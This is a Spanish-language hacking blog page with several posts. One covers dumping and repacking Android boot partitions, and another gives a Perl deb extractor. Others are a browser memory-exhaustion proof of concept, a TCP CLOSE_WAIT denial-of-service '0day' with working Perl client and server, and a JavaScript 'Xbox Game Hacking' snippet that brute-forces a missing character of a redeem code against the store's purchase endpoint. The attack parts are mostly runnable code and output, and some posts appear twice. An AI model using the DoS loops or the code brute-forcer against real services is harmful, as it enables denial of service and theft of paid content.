brw------- root root 179, 12 2013-01-04 00:13 mmcblk0p12
brw------- root root 179, 13 2013-01-04 00:13 mmcblk0p13
brw------- root root 179, 14 2013-01-04 00:13 mmcblk0p14
brw------- root root 179, 15 2013-01-04 00:13 mmcblk0p15
brw------- root root 179, 16 2013-01-04 00:13 mmcblk0p16
brw-rw---- system system 179, 17 2013-01-04 00:13 mmcblk0p17
brw-rw---- system system 179, 18 2013-01-04 00:13 mmcblk0p18
brw------- root root 179, 19 2013-01-04 00:13 mmcblk0p19
brw------- root root 179, 2 2013-01-04 00:13 mmcblk0p2
brw------- root root 179, 20 2013-01-04 00:13 mmcblk0p20
brw------- root root 179, 21 2013-01-04 00:13 mmcblk0p21
brw------- root root 179, 22 2013-01-04 00:13 mmcblk0p22
brw------- root root 179, 23 2013-01-04 00:13 mmcblk0p23
brw------- root root 179, 3 2013-01-04 00:13 mmcblk0p3
brw------- root root 179, 4 2013-01-04 00:13 mmcblk0p4
brw------- root root 179, 5 2013-01-04 00:13 mmcblk0p5
brwxrwx--- root radio 179, 6 2013-01-04 00:13 mmcblk0p6
brw------- root root 179, 7 2013-01-04 00:13 mmcblk0p7
brwxrwx--- root system 179, 8 2013-01-04 00:13 mmcblk0p8
brw------- root root 179, 9 2013-01-04 00:13 mmcblk0p9
Lamentablemente nos faltan algunas por identificar.
Una ayuda bastante útil es cuando /proc/mtd está activo:
# cat /proc/mtd
dev: size erasesize name
mtd0: 00500000 00020000 "boot"
mtd1: 00500000 00020000 "recovery"
mtd2: 00140000 00020000 "misc"
mtd3: 00060000 00020000 "splash"
mtd4: 0aa00000 00020000 "system"
mtd5: 04600000 00020000 "cache"
mtd6: 0bda0000 00020000 "userdata"
mtd7: 01400000 00020000 "userdata2"
Lamentablemente esto no es en la mayoría de los dispositivos:
# cat /proc/mtd
/proc/mtd: No such file or directory
Por lo que se requiere realizar un poco de Ing. Inversa.
# dd if=/dev/block/mmcblk0p1 of=/sdcard/mmcblk0p1
40+0 records in
40+0 records out
20480 bytes transferred in 0.004 secs (5120000 bytes/sec)
Copiamos cada partición a la SDCard y luego las bajamos a la pc:
Zer0-null:/home/xianur0 # adb pull /sdcard/mmcblk0p1 mmcblk0p1
236 KB/s (20480 bytes in 0.084s)
Y vamos analizando una por una con binwalk:
Zer0-null:/home/xianur0 # binwalk mmcblk0p1
DECIMAL HEX DESCRIPTION
-------------------------------------------------------------------------------------------------------
En muchos casos incluso binwalk no puede detectar de que es la partición, entonces nos toca hacerlo manualmente con un editor hexadecimal.
Zer0-null:/home/xianur0/L3-back # binwalk mmcblk0p9
DECIMAL HEX DESCRIPTION
-------------------------------------------------------------------------------------------------------
20010 0x4E2A gzip compressed data, from Unix, last modified: Thu Jul 26 05:55:33 2012, max compression
[…]
Bingo! Eso suena interesante, veamos si es:
Zer0-null:/home/xianur0/L3-back # perl -e 'my $tmp="";open FILE,"<mmcblk0p9"; read FILE,$tmp,8; print $tmp;'
ANDROID!
El encabezado “ANDROID!” indica que esta partición es... boot!, en esta es donde se encuentra el kernel :P.
Zer0-null:/home/xianur0/L3-back # abootimg -i mmcblk0p9
Android Boot Image Info:
* file name = mmcblk0p9
* image size = 8388608 bytes (8.00 MB)
page size = 4096 bytes
* Boot Name = ""
* kernel size = 3312024 bytes (3.16 MB)
ramdisk size = 490986 bytes (0.47 MB)
* load addresses:
kernel: 0x00208000
ramdisk: 0x01300000
tags: 0x00200100
* cmdline = androidboot.hardware=e0
- id = 0x099380a2 0xe8c73d9d 0x7ec0b3eb 0xb7d342d1 0xfda995b2 0x00000000 0x00000000 0x00000000
Ya tenemos los valores que vamos a utilizar luego, pero por ahora vamos a extraer esta partición:
Zer0-null:/home/xianur0/L3-back # abootimg -x mmcblk0p9
writing boot image config in bootimg.cfg
extracting kernel in zImage
extracting ramdisk in initrd.img
Primero que nada: zImage sería el kernel, y initrd.img el ramdisk, esencialmente el ramdisk es algo así como la partición raíz (“/”) en linux, siendo esta montada como solo lectura (a que no se habían dado cuenta de que todo lo que ponen en “/” se borra :P).
Un punto importante es que no en todos los dispositivos es tan fácil conseguir el kernel, en muchos casos viene bloqueado de fábrica, de modo que ni siquiera lo pueden ver como partición, pero tenemos el siguiente truco que puede ayudar en muchos casos:
Zer0-null:/home/xianur0 # fastboot oem unlock
Pero no profundizaré mucho sobre ese tema en este post.
Podemos editar el ramdisk de la siguiente forma:
Zer0-null:/home/xianur0/L3-back # mkdir ramdisk && cd ramdisk && gzip -dc ../initrd.img | cpio -i
2074 blocks
Zer0-null:/home/xianur0/L3-back/ramdisk # ls
chargerimages dev init.goldfish.rc init.rc lgdms.fota_update.rc sbin ueventd.goldfish.rc
data init init.qcom.rc init.target.rc lgsecurity.rc sys ueventd.rc
default.prop init.e0.rc init.qcom.sh lgdms.fota.rc proc system
ya tenemos el ramdisk extraído, podemos cambiar las cosas que necesitemos y volver a empaquetarlo:
Zer0-null:/home/xianur0/L3-back/ramdisk # find . | cpio -o -H newc | gzip > ../new-initrd.img
2074 blocks
Después con el mismo abootimg:
Zer0-null:/home/xianur0/L3-back # cp mmcblk0p9 mmcblk0p9.new && abootimg -u mmcblk0p9.new -r new-initrd.img
reading ramdisk from new-initrd.img
Writing Boot Image mmcblk0p9.new
y listo, tenemos la partición como nueva.
Podemos subirla de muchas formas al dispositivo, una es con el mismo dd:
Zer0-null:/home/xianur0/L3-back # adb push mmcblk0p9.new /sdcard/
Y en el dispositivo:
# dd if=/sdcard/mmcblk0p9.new of=/mmcblk0p9
O también se puede realizar con fastboot:
Fastboot es uno de los modos que tiene android, similar a adb, la diferencia es que fastboot corre en pre-os es decir se ejecuta antes que android como tal y es muy similar a PXE (Entorno de ejecución de prearranque).
Para entrar a fastboot se tiene que apagar el dispositivo y con una combinación especifica de botones (varían de dispositivo a dispositivo) presionados, encender el dispositivo, para reconocer que un dispositivo está en fastboot basta con ver que no pasa de la primera pantalla (normalmente el logo del fabricante).
Zer0-null:/home/xianur0/L3-back # fastboot flash boot mmcblk0p9.new
Por cierto, sabían que fastboot permite ejecutar un kernel sin necesitar de flashearlo al dispositivo?
Zer0-null:/home/xianur0/L3-back # fastboot boot mmcblk0p9.new
o
Zer0-null:/home/xianur0/L3-back # fastboot boot zImage initrd.img
Es algo así como un “live-kernel”, esto nos puede ser de mucha utilidad cuando puede haber riesgo de “brickear” el dispositivo si se escribe un kernel/ramdisk defectuoso, de modo que podemos probarlo antes de flashearlo al dispositivo.
Por ahora nos hemos extendido un poco, así que terminemos por ahora este post, no sin antes dar un adelanto de lo que veremos en el siguiente:
* Cross-Compilar un kernel de android.
* Compilar driver RTL8187 en Sony Tablet S para levantar una antena wifi Alfa Networks.
#!/usr/bin/perl -w
require Digest::MD5;
my $base = $ARGV[0];
my $arg1 = $ARGV[1] || die(("\t"x3)."Deb2Droid v0.1 by Xianur0\n\nUse: ./export.pl [pool dir] [deb]\n");
my @packages = ($arg1);
our @extraidos = ();
our @depsinstaladas = ();
my $install = 1;
system("mkdir var && mkdir var/lib && mkdir var/lib/dpkg && mkdir var/lib/dpkg/info");
open STATUS,">>var/lib/dpkg/status";
sub copiar {
my ($origen,$destino) = @_;
open(FILES,"<".$origen) || return 0;
my $contenido = "";
binmode FILES;
while(<FILES>) {
$contenido .=$_;
}
close(FILES);
open FILED,">".$destino;
binmode FILED;
print FILED $contenido;
close(FILED);
}
sub locatedep {
my ($dir,$dep) = @_;
$dir .= "/" if($dir !~ /\/$/);
my @files = <$dir*>;
foreach my $file (@files) {
my $tmpfile = $file;
$tmpfile =~ s/^.+\///g;
if(-d $file) {
if($file !~ /^\.+$/){
return 1 if(locatedep($file,$dep));
}
}
elsif(-f $file && $dep eq substr($tmpfile,0,length($dep)) && $file =~ /u?deb$/) {
print "[-] Posible paquete encontrado: ".$dep." ? ".$file."\n";
print "ar x ".$file." && (tar -xzvf data.tar.gz > archivos.list) && tar -xzvf control.tar.gz 2>&1\n";
if($install == 1){
print "[-] Extrayendo paquete...\n";
return 1 if(extract($file,$dep));
}
}
}
return 0;
}
sub in_array
{
my ($arr,$search_for) = @_;
my %items = map {$_ => 1} @$arr; # create a hash out of the array values
return (exists($items{$search_for}))?1:0;
}
sub finddeps {
my $searchpackagename = "";
$searchpackagename = $_[0] if($#_ >= 0);
$searchpackagename = "" unless defined $searchpackagename;
open CONTROL,"<control" || return;
open MD5,"<md5sums";
open CONFFILES,"<conffiles";
my $control = "";
my $md5 = "";
my $conffiles = "";
return unless(fileno(MD5));
while(<CONTROL>) {
$control.=$_;
}
close(CONTROL);
my $packagename = "";
$packagename = $1 if($control =~ /Package: ([^\r\n]+)/);
print "Paquete: ".$searchpackagename."=? ".$packagename."\n";
if($searchpackagename ne "" && $searchpackagename ne $packagename) {
return 0;
}
if(fileno(MD5)){
while(<MD5>) {
$md5.=$_;
}
close(MD5);
}
my $status = "Status: install ok not-installed";
if(fileno(CONFFILES)) {
while(<CONFFILES>) {
my $f = $_;
$f =~ s/[\r\n]+//g;
open F, ".".$f;
my $cf = "";
while(<F>){
$cf .= $_;
}
$conffiles.=" ".$f." ".Digest::MD5::md5_hex($cf)."\n";
}
close(CONFFILES);
$control =~ s/(Description:\s+)/Conffiles:\n$conffiles$1/;
$status = "Status: install reinstreq half-configured";
}
checkmd5($md5);
my $depsstring = "";
$depsstring = $1 if($control =~ /Depends: ([^\r\n]+)/);
copiar("archivos.list","var/lib/dpkg/info/".$packagename.".list");
copiar("postinst","var/lib/dpkg/info/".$packagename.".postinst");
copiar("preinst","var/lib/dpkg/info/".$packagename.".preinst");
copiar("postrm","var/lib/dpkg/info/".$packagename.".postrm");
copiar("prerm","var/lib/dpkg/info/".$packagename.".prerm");
open MD5OUT,">>var/lib/dpkg/info/".$packagename.".md5sums";
print MD5OUT $md5;
$md5 = "";
if($depsstring eq ""){
print "[-] Sin dependencias... continuando...\n";
return 1;
}
my @deps = ($depsstring =~ /[^\,]+/g);
my $i = 0;
for $dep (@deps) {
$dep =~ s/^\s+//g;
my $version = $dep;
$version =~ s/(.+\()//g;
$version =~ s/\)//g;
my $condicion = "";
if($version=~/^(>|>=|<=|==|<)\s+([\:\.\d]+)$/){
($condicion,$version) = ($1,$2);
} else {$version="";}
$dep =~ s/\s+.+$//g;
$deps[$i] = $dep;
$i++;
}
print "[-]Instalando dependencias....\n\n";
for $dep (@deps) {
my $cdep = $#deps;
if(!in_array(\@depsinstaladas,$dep)){
push(@depsinstaladas,$dep);
print "[-] Buscando paquete: ".$dep."...\n";
if(!locatedep($base,$dep)) {
die("\n[!] No se pudo resolver la dependencia: ".$dep."\n");
}
}
}
print "[-] Agregando a status...\n";
$control =~s/^Package\:([^\r\n]+)/Package:$1\n$status/;
print $control."\n";
print STATUS $control."\n\n";
print "[-] Instaladas!\n";
return 1;
}
sub extract {
my ($p,$packname) = @_;
if(in_array(\@extraidos,$p)){
return 1;
}
push(@extraidos,$p);
my $descarte = "";
system("ar x ".$p." && (tar -xzvf data.tar.gz > archivos.list) && tar -xzvf control.tar.gz 2>&1");
my $estado = finddeps($packname);
system("rm md5sums 2>&1 | rm control 2>&1 | rm archivos.list 2>&1 | rm debian 2>&1 | rm debian-binary 2>&1 | rm conffiles 2>&1 | rm postinst 2>&1 | rm preinst 2>&1 | rm postrm 2>&1 | rm prerm 2>&1 | rm data.tar.gz 2>&1 | rm control.tar.gz 2>&1 | echo ");
return $estado;
}
sub checkmd5 {
my $md5 = $_[0];
my @lineas = split(/[\r\n]/,$md5);
for $linea (@lineas) {
my ($md5,$objeto) = ($linea =~ /^([\w\d]+)\s+(.+)$/);
open OBJETO,"<".$objeto;
binmode OBJETO;
my $bin = "";
while(<OBJETO>){
$bin .=$_;
}
my $md5real = Digest::MD5::md5_hex($bin);
unless($md5 eq $md5real) {
die("\n[!] MD5 incorrecto: ".$md5."!=".$md5real." en: ${objeto}\n");
} else {
print "\r[-] Probando MD5: ${md5} ${md5real} ${objeto}\r";
}
}
print "\n[-] MD5's correctos!\n";
}
for $package (@packages){
extract($base.$package);
}
print "[-] Paquete y dependencias extraidos correctamente!\n";
By Xianur0
Articulo destacado en Ingenet
El articulo de Facebook explotando el ser humano, ha sido publicado como destacado en la red de blogs Ingenet, que pertenece a Carlos Slim, Ingenet es una red social de Ingenieria en Mexico, donde se muestran los mas recientes avances y se comparten articulos con toda la comunidad, si quieres ver el articulo esta es la direccion
http://bitacora.ingenet.com.mx/2013/01/facebook-explotando-al-ser-humano-y-geolocalizacion/
Nos han pedido que escribamos un articulo mensual, asi que estaremos coolaborando con articulos de Seguridad Informatica
http://bitacora.ingenet.com.mx/2013/01/facebook-explotando-al-ser-humano-y-geolocalizacion/
Nos han pedido que escribamos un articulo mensual, asi que estaremos coolaborando con articulos de Seguridad Informatica
Webcast 6 Disponible!
Despues de una breve ausencia, ya esta listo el Webcast numero 6, donde les mostramos varios avances del proyecto HackingMexico, entre los cuales tenemos los Diplomados de Intrusiones ciberneticas, los DVD's, las Raspberry Pi Pentester Edition.
Se habla un poco de la explotacion Web mediante Frameworks basados en Browsers, como el Mantra, y www.exploitpack.com, tambien 4rc4c4 nos platica sobre el proyecto de Raspberry, los usos que se le puede dar, y comentamos sobre el desbloqueo de consolas como el wii y correr Homebrew
Se habla un poco de la explotacion Web mediante Frameworks basados en Browsers, como el Mantra, y www.exploitpack.com, tambien 4rc4c4 nos platica sobre el proyecto de Raspberry, los usos que se le puede dar, y comentamos sobre el desbloqueo de consolas como el wii y correr Homebrew
Implementacion incorrecta de HTTP en navegadores web pt. 1
En los navegadores web existe una completamente desestandarización en HTTP lo cual provoca que sea ineficiente la forma en la que manejan el protocolo, esto puede causar múltiples problemas de seguridad.
Para comenzar tenemos el orden de los encabezados HTTP, normalmente no debería de afectar el orden en que se envían al navegador, pero en los casos cuando se repiten estos, la cosa no es tan simple, por ejemplo si mandamos la siguiente respuesta a distintos navegadores:
Segundo header
Al entrar con Chrome podremos notar que aparece el texto “Segundo header”, pero al entrar con Firefox obtenemos un: “Error de codificación de contenido”, esto quiere decir que firefox lee el primer encabezado y chrome el segundo, esto es un “hack” bastante simple, pero que podría usarse con otros fines.
Multiple Web Browsers Memory Exhaustion
¿Qué pasa cuando no se incluye el encabezado del Content-Length en la respuesta del servidor web?
Este encabezado le dice al navegador el tamaño de la web/archivo que se enviará, normalmente no hay problema si se omite esta debido a que el servidor web al terminar de enviar la respuesta corta la conexión, el problema es cuando no se quiere cerrar la conexión o no se termina nunca de enviar una respuesta, esto es, el navegador tendrá que ir asignando más y más memoria hasta que la página se termine de enviar, el problema sería si un atacante crea un servidor que nunca deje de enviar una respuesta, desde luego sería lógico pensar que las empresas pondrían un limite al tamaño máximo o algún otro mecanismo para detener esto, lamentablemente no es así.
Montamos netcat como un servidor http:
En cualquier navegador que entremos a esta web (http://localhost:8080) veremos el mensaje: “Xianur0 was here!! ” siendo que nunca se especificó un tamaño de respuesta el navegador interpretó que leería toda la respuesta.
Una prueba de concepto muy burda de como se puede explotar este bug es la siguiente:
En el navegador podremos ver como se llena de la palabra “Xianur0” sin fin aparente.
Y con el comando top podremos ver que chrome se come los recursos:
17862 xianur0 20 0 318m 172m 21m R 91 20.0 0:56.13 chrome
(91% CPU, 20 % MEM)
Entre más tiempo se permanezca en la página mayor será el consumo de recursos en la victima.
Navegadores probados vulnerables (cualquier versión):
Chrome
Firefox
Chromium
Lynx
Epiphany
W3m
Opera
IE ← Este es el más afectado
Pruebas de concepto:
By Xianur0
Para comenzar tenemos el orden de los encabezados HTTP, normalmente no debería de afectar el orden en que se envían al navegador, pero en los casos cuando se repiten estos, la cosa no es tan simple, por ejemplo si mandamos la siguiente respuesta a distintos navegadores:
HTTP/1.1 200 OK
Content-Type: text/plain; charset=UTF-8
Date: Sun, 13 Jan 2013 02:25:35 GMT
Server: xianur0-to-me
Content-Length: 14
Content-Encoding: gzip
Content-Encoding: none
Segundo header
(respuesta.txt)
# nc -vvvl 8080 > consulta.txt < respuesta.txt
URL: http://localhost:8080/
Al entrar con Chrome podremos notar que aparece el texto “Segundo header”, pero al entrar con Firefox obtenemos un: “Error de codificación de contenido”, esto quiere decir que firefox lee el primer encabezado y chrome el segundo, esto es un “hack” bastante simple, pero que podría usarse con otros fines.
Multiple Web Browsers Memory Exhaustion
¿Qué pasa cuando no se incluye el encabezado del Content-Length en la respuesta del servidor web?
Este encabezado le dice al navegador el tamaño de la web/archivo que se enviará, normalmente no hay problema si se omite esta debido a que el servidor web al terminar de enviar la respuesta corta la conexión, el problema es cuando no se quiere cerrar la conexión o no se termina nunca de enviar una respuesta, esto es, el navegador tendrá que ir asignando más y más memoria hasta que la página se termine de enviar, el problema sería si un atacante crea un servidor que nunca deje de enviar una respuesta, desde luego sería lógico pensar que las empresas pondrían un limite al tamaño máximo o algún otro mecanismo para detener esto, lamentablemente no es así.
Zer0-null:/home/xianur0 # cat http.txt
HTTP/1.1 200 OK
Content-Type: text/plain; charset=UTF-8
Date: Sun, 13 Jan 2013 02:25:35 GMT
Server: xianur0-to-me
Xianur0 was here!!
Montamos netcat como un servidor http:
Zer0-null:/home/xianur0 # nc -vvvl 8080 > respuesta.txt < http.txt
En cualquier navegador que entremos a esta web (http://localhost:8080) veremos el mensaje: “Xianur0 was here!! ” siendo que nunca se especificó un tamaño de respuesta el navegador interpretó que leería toda la respuesta.
Una prueba de concepto muy burda de como se puede explotar este bug es la siguiente:
Zer0-null:/home/xianur0/lab # cat generador.pl
#!/usr/bin/perl
while(1){
print "Xianur0\n";
}
Zer0-null:/home/xianur0/lab # perl generador.pl | nc -vvvl 8080
Connection from 127.0.0.1 port 8080 [tcp/http-alt] accepted
GET / HTTP/1.1
Host: localhost:8080
Connection: keep-alive
Cache-Control: max-age=0
User-Agent: Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.97 Safari/537.11
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: es-ES,es;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
En el navegador podremos ver como se llena de la palabra “Xianur0” sin fin aparente.
Y con el comando top podremos ver que chrome se come los recursos:
17862 xianur0 20 0 318m 172m 21m R 91 20.0 0:56.13 chrome
(91% CPU, 20 % MEM)
Entre más tiempo se permanezca en la página mayor será el consumo de recursos en la victima.
Navegadores probados vulnerables (cualquier versión):
Chrome
Firefox
Chromium
Lynx
Epiphany
W3m
Opera
IE ← Este es el más afectado
Pruebas de concepto:
By Xianur0
Xbox Game Hacking
var x_molder = 0;
function pushToken()
{
// CODIGO DE CANGE, CAMBIAR POR EL TUYO
var str_token = "F9?VQ-D8CQ3-XTRG3-4BDTV-B3X7W";
var charset = "1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ";
var new_token = str_token.replace("?",charset[x_molder]);
$('#TokenValue').val(new_token)
x_molder++;
$('#RedeemCodeMolder').click();
}
$('#RedeemCodeMolder').click(function ()
{
var postData = 'TokenValue=' + $('#TokenValue').val()+ '&__RequestVerificationToken='+ $('input[name="__RequestVerificationToken"]').val();
$.ajax({
type: 'POST',
url: "/es-MX/RedeemCode/PurchaseWithToken",
data: postData,
cache: false,
success: function(response){
if(response.indexOf("Escribe un código válido") > -1)
{
pushToken();
}
else
{
alert(response);
}
},
error: function(){ alert("Error de peticion AJAX"); }
});
});
pushToken();
By Molder Sombrero de Paja AztlanHack
Vulnerando TCP parte 1 (0day)
Normalmente cuando se habla de TCP y su funcionamiento, se habla de flags (SYN, ACK, etc), pero TCP tiene muchas más cosas implicadas para su funcionamiento, por ejemplo la pila TCP debe de llevar un control del estado de la conexión (ESTABLISHED, SYN_SENT, SYN_RECV, CLOSED, etc.) de modo que no todo es simplemente paquetes TCP que van de un punto a otro los que crean una conexión. La mayoría de los ataques de denegación de servicio a TCP se basan de conexiones semi-abiertas (SYN Flood por ejemplo), lo cual permite que un ataque sea “anonimo” pues se puede realizar mediante paquetes SYN con un origen (IP) diferente a la del atacante. Existe una variedad de ataques no tan documentados que se realizan mediante conexiones semi-cerradas, es decir, que requieren que antes se establezca una conexión valida, la diferencia con estos ataques es que no son tan “anonimos” porque el origen “debe” ser real (debido a los mecanismos de seguridad de TCP, seqnum por ejemplo) esto sin embargo no impide que ataque se realice mediante una botnet (quedaría la IP del zombie, no la del atacante), sin más introducción a este tema comenzaremos a explicar los ataques “semi-cerrados”:
Necesitamos un servidor TCP que nos facilite el trabajo, en este caso el servidor simplemente dormirá 10 segundos cuando reciba la cadena “sleep”, envía el mensaje “Awake!” y después de esto cerrará la conexión:
El código a simple vista no parece vulnerable, sin embargo, lo es.
Conectamos al 8080 con netcat, enviamos la palabra sleep y finalizamos con ctrl+c (sin esperar 10 segundos) el resultado:
El servidor esperó 10 segundos antes de enviar el mensaje e intentar cerrar la conexión (que ya estaba cerrada) esto es, el servidor consumió recursos estando ya el socket cerrado, hasta ahora el ataque no tiene gracia, pero si lo realizamos a mayor escala, obtendremos resultados bastante interesantes:
CLOSE_WAIT se sigue considerando como una conexión abierta, entonces ese servidor tiene en este caso algo así como 28 conexiones abiertas, en nuestro caso solo utilizamos 1 conexión por vez, lo cual es una cantidad de recursos bastante menor, en cuanto el servidor cierra las conexiones dejan de aparecer esos CLOSE_WAIT y expira... eso no es totalmente cierto, todos los sistemas que soportan TCP implementan las retransmisiones, lo cual es reenviar el mismo paquete x cantidad de veces esperando una respuesta (esto se creó debido a que puede haber perdida de datos a través de la red), el detalle es que cuando una conexión pasa a los estados CLOSE_WAIT, FIN_WAIT y similares comienza a hacer retransmisiones (intentando enviar un dato o cerrar la conexión).
¿El peligro de esto?
Supongamos que con una sola conexión logramos generarle al servidor aproximadamente 28 conexiones a medio cerrar, esto también es 28 hilos, consumiendo recursos (incluso tener una conexión abierta consume recursos pues la pila reserva un espacio de memoria por conexión), si utilizamos 10 conexiones serían aproximadamente 280 conexiones al mismo tiempo a medio cerrar en el servidor, adicional a 280 hilos que están ejecutando “sleep 10;”, adicional a todo esto tenemos la retransmisiones que según el sistema operativo (y la configuración de la pila TCP) pueden repetir hasta 15 veces (o incluso más) por defecto.
En linux podemos conocer este número mediante los archivos:
¿Se pueden hacer más eficiente este ataque?
Las retransmisiones son uno de los mayores peligros, pues si las retransmisiones llevan datos muy grandes pueden afectar nuestra banda o incluso las retransmisiones generadas por nuestro propio sistema (sí, el atacante también pueden generar retransmisiones) pueden afectarnos.
De este modo desactivamos la retransmisiones hasta el próximo reinicio.
¿Se puede corregir este “bug”?
No hay forma de corregir este ataque aun pues es un problema en la pila tcp y no se ha creado un parche funcional, además de que el problema implica a la capa de aplicación también (que es donde se ejecuta el servidor que “configura” a la pila), se pueden disminuir las retransmisiones en el servidor para disminuir los efectos, pero eso no solucionaría el problema por completo.
Otra cosa que puede ayudar es limitar la cantidad de conexiones por IP:
Nuevamente esto no soluciona las cosas por completo, pero ayuda a disminuir los efectos.
Pruebas de concepto de este ataque en servidores reales:
By Xianur0
Necesitamos un servidor TCP que nos facilite el trabajo, en este caso el servidor simplemente dormirá 10 segundos cuando reciba la cadena “sleep”, envía el mensaje “Awake!” y después de esto cerrará la conexión:
use IO::Socket;
use threads;
sub clientes {
my ($client) = @_;
while(<$client>) {
if($_ =~ /sleep/){
print "Durmiendo 10 segs...\n";
sleep(10);
}
}
print $client “Awake!\n”;
print “Cerrando conexión...\n";
close($client)
}
my $sock = new IO::Socket::INET (
LocalPort => '8080',
Proto => 'tcp',
Listen => 2,
Reuse => 1,
);
die "Could not create socket: $!\n" unless $sock;
while(my $new_sock = $sock->accept()) {
print "Nuevo cliente (".$new_sock->peerhost().") :D\n";
threads->create('clientes', $new_sock);
}
close($sock);
El código a simple vista no parece vulnerable, sin embargo, lo es.
Zer0-null:/home/xianur0 # nc -vvvv localhost 8080
nc: connect to localhost port 8080 (tcp) failed: Connection refused
Connection to localhost 8080 port [tcp/http-alt] succeeded!
sleep
^C
Conectamos al 8080 con netcat, enviamos la palabra sleep y finalizamos con ctrl+c (sin esperar 10 segundos) el resultado:
Zer0-null:/home/xianur0 # perl server.pl
Nuevo cliente (127.0.0.1) :D
Durmiendo 10 segs...
Cerrando conexión...
El servidor esperó 10 segundos antes de enviar el mensaje e intentar cerrar la conexión (que ya estaba cerrada) esto es, el servidor consumió recursos estando ya el socket cerrado, hasta ahora el ataque no tiene gracia, pero si lo realizamos a mayor escala, obtendremos resultados bastante interesantes:
use IO::Socket;
while(1){
my $sock = new IO::Socket::INET (
PeerAddr => 'localhost',
PeerPort => '8080',
Proto => 'tcp') || die("No se puede conectar!\n");
print $sock "sleep\n";
close($sock);
}
Zer0-null:/home/xianur0 # perl server.pl
Nuevo cliente (127.0.0.1) :D
Durmiendo 10 segs...
Nuevo cliente (127.0.0.1) :D
Durmiendo 10 segs...
Nuevo cliente (127.0.0.1) :D
[…]
Zer0-null:/home/xianur0 # netstat | grep -i CLOSE_WAIT
tcp 0 0 localhost:http-alt localhost:36338 CLOSE_WAIT
tcp 0 0 localhost:http-alt localhost:36324 CLOSE_WAIT
tcp 0 0 localhost:http-alt localhost:36330 CLOSE_WAIT
tcp 0 0 localhost:http-alt localhost:36320 CLOSE_WAIT
tcp 0 0 localhost:http-alt localhost:36323 CLOSE_WAIT
tcp 1 0 localhost:http-alt localhost:36322 CLOSE_WAIT
tcp 0 0 localhost:http-alt localhost:36313 CLOSE_WAIT
tcp 1 0 localhost:http-alt localhost:36327 CLOSE_WAIT
tcp 0 0 localhost:http-alt localhost:36339 CLOSE_WAIT
tcp 0 0 localhost:http-alt localhost:36331 CLOSE_WAIT
tcp 1 0 localhost:http-alt localhost:36317 CLOSE_WAIT
tcp 0 0 localhost:http-alt localhost:36328 CLOSE_WAIT
tcp 0 0 localhost:http-alt localhost:36319 CLOSE_WAIT
tcp 0 0 localhost:http-alt localhost:36335 CLOSE_WAIT
tcp 0 0 localhost:http-alt localhost:36334 CLOSE_WAIT
tcp 1 0 localhost:http-alt localhost:36318 CLOSE_WAIT
tcp 0 0 localhost:http-alt localhost:36341 CLOSE_WAIT
tcp 0 0 localhost:http-alt localhost:36314 CLOSE_WAIT
tcp 0 0 localhost:http-alt localhost:36315 CLOSE_WAIT
tcp 0 0 localhost:http-alt localhost:36316 CLOSE_WAIT
tcp 0 0 localhost:http-alt localhost:36321 CLOSE_WAIT
tcp 0 0 localhost:http-alt localhost:36325 CLOSE_WAIT
tcp 0 0 localhost:http-alt localhost:36333 CLOSE_WAIT
tcp 0 0 localhost:http-alt localhost:36336 CLOSE_WAIT
tcp 0 0 localhost:http-alt localhost:36340 CLOSE_WAIT
tcp 0 0 localhost:http-alt localhost:36329 CLOSE_WAIT
tcp 0 0 localhost:http-alt localhost:36326 CLOSE_WAIT
CLOSE_WAIT se sigue considerando como una conexión abierta, entonces ese servidor tiene en este caso algo así como 28 conexiones abiertas, en nuestro caso solo utilizamos 1 conexión por vez, lo cual es una cantidad de recursos bastante menor, en cuanto el servidor cierra las conexiones dejan de aparecer esos CLOSE_WAIT y expira... eso no es totalmente cierto, todos los sistemas que soportan TCP implementan las retransmisiones, lo cual es reenviar el mismo paquete x cantidad de veces esperando una respuesta (esto se creó debido a que puede haber perdida de datos a través de la red), el detalle es que cuando una conexión pasa a los estados CLOSE_WAIT, FIN_WAIT y similares comienza a hacer retransmisiones (intentando enviar un dato o cerrar la conexión).
¿El peligro de esto?
Supongamos que con una sola conexión logramos generarle al servidor aproximadamente 28 conexiones a medio cerrar, esto también es 28 hilos, consumiendo recursos (incluso tener una conexión abierta consume recursos pues la pila reserva un espacio de memoria por conexión), si utilizamos 10 conexiones serían aproximadamente 280 conexiones al mismo tiempo a medio cerrar en el servidor, adicional a 280 hilos que están ejecutando “sleep 10;”, adicional a todo esto tenemos la retransmisiones que según el sistema operativo (y la configuración de la pila TCP) pueden repetir hasta 15 veces (o incluso más) por defecto.
En linux podemos conocer este número mediante los archivos:
/proc/sys/net/ipv4/tcp_retries1 (min)
/proc/sys/net/ipv4/tcp_retries2 (max)
¿Se pueden hacer más eficiente este ataque?
Las retransmisiones son uno de los mayores peligros, pues si las retransmisiones llevan datos muy grandes pueden afectar nuestra banda o incluso las retransmisiones generadas por nuestro propio sistema (sí, el atacante también pueden generar retransmisiones) pueden afectarnos.
echo 0 > /proc/sys/net/ipv4/tcp_retries1
echo 0 > /proc/sys/net/ipv4/tcp_retries1
De este modo desactivamos la retransmisiones hasta el próximo reinicio.
¿Se puede corregir este “bug”?
No hay forma de corregir este ataque aun pues es un problema en la pila tcp y no se ha creado un parche funcional, además de que el problema implica a la capa de aplicación también (que es donde se ejecuta el servidor que “configura” a la pila), se pueden disminuir las retransmisiones en el servidor para disminuir los efectos, pero eso no solucionaría el problema por completo.
Otra cosa que puede ayudar es limitar la cantidad de conexiones por IP:
iptables -A INPUT -p tcp -m tcp --dport 8080 -m limit --limit 10/sec -j ACCEPT
Nuevamente esto no soluciona las cosas por completo, pero ayuda a disminuir los efectos.
Pruebas de concepto de este ataque en servidores reales:
By Xianur0
Suscribirse a:
Entradas (Atom)